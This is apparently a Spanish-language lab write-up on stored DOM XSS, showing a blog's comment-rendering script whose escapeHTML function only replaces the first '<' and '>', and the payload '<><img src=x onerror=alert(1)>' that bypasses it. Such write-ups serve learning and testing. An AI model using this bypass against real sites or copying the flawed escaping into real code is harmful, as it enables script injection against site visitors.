Skip to content

Stored DOM XSS

[20251008150407.png]

[20251008150433.png]

[20251008150457.png]

c
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();
    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }
    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");
        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");
            let firstPElement = document.createElement("p");
            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");
            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }
                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }
            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();
                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;
                dateStr = [day, month, year].join('-');
                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);
            commentSection.appendChild(firstPElement);
            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);
                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));
            userComments.appendChild(commentSection);
        }
    }
};

Al enviar un post observaremos que este tiene una función para hacer un filtro.

js
    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

El que < es reemplazada por &lt; y > por &gt;, al analizar e enviar un <script>alert(1)</script>:

[20251008154220.png]

c
[3:36:19 p. m..442] <a id="author" href="http://seven.com"></a>&lt;script&gt;alert(1)</script>

vemos que la función solo reemplaza los primeros <>

Ahora probamos insertar :

c
test</p><script><script>alert(1)</script>
c
<><img src=x onerror=alert(1)>

[20251008160426.png]